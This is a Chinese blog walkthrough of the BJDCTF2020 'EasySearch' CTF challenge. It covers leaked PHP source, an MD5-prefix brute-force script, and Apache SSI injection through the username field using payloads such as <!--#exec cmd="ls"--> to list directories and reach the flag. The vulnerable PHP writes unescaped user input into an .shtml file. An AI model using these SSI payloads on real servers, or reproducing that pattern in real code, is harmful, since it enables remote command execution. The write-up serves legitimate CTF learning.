[BJDCTF2020]EasySearch

打开环境,是个登录框:

 随便输入后弹窗显示错误:

 SQL注入也没有什么发现,那就用dirsearch扫描一下,发现了index.php.swp,访问得到源码:

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {//如果username存在且不为空
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {//如果¥admin等于password的md5的前6给字符就为真
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";调用get_hash()函数,并进行拼接
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

分析代码逻辑,先看一下定义的get_hash函数:

function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}

mt_rand() 函数是使用 Mersenne Twister 算法返回随机整数,两个参数。

此处的意思就是返回0到73之间的随机数,然后在ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-中随机选择5个字符拼接。

uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。此处就是生成此随机数的唯一id,最后返回它的哈希值。

然后看后面:

if(isset($_POST['username']) and $_POST['username'] != '' )
    {//如果username存在且不为空
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {//如果$admin等于password的md5的前6给字符就为真
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";调用get_hash()函数,并进行拼接
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***

username不能为空,password的md5的前6给字符要等于6d0bc1,满足这两个条件就弹窗:”Welcome to manage system“,并以刚刚get_hash函数返回的哈希值生成文件名和路径:”public/函数返回值.shtml“,然后以写的方式打开此文件或者输出”Unable to open file!“(无法打开)。其次将

***

***

<h1>Hello,'.$_POST['username'].'</h1>

***

***

写入文件,然后关闭文件,最后输出 [!] Header  error ...(输出头错误)。

我们用python脚本找出字符串MD5加密后前6位等于6d0bc1的,下面是大佬们的脚本:

import hashlib

for i in range(100000000):
    a = hashlib.md5(str(i).encode("utf-8")).hexdigest()

    if a[0:6] == '6d0bc1':
        print(i)

Python的hashlib主要提供了常见的摘要算法,python3.x版本里代替了md5模块和sha模块,如SHA1,SHA224,SHA256,SHA384,SHA512,MD5算法。摘要算法又称哈希算法、散列算法。

hashlib.md5().hexdigest()即生成16进制MD5。

得到:2020666,2305004,9162671等值,随便一个值都行。

输入后在响应头中发现:

文件路径:public/e65544c8a8d3cc8bdeac832d8e4068396b69c0ac.shtml 

访问:

看见Client IP,以为需要我伪造IP地址,试了用xff才发现没用。这题思路是利用“Apache SSI远程命令执行漏洞”,这两篇博客详细介绍了ssi注入漏洞:SSI注入漏洞_Hydra的博客-CSDN博客_ssi注入      SSI 注入的介绍和代码防御_煜铭2011-CSDN博客

SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令。

题目中username被写入了shtml文件,就可以将username改为<!--#exec cmd="ls"-->

显示:

 成功执行,并发现当前目录没有flag,看看上级目录:<!--#exec cmd="ls  ../"-->

成功执行:

查看文件flag_990c66bf85a09c664f0b6741840499b2得到答案:

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Kevin_xiao~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值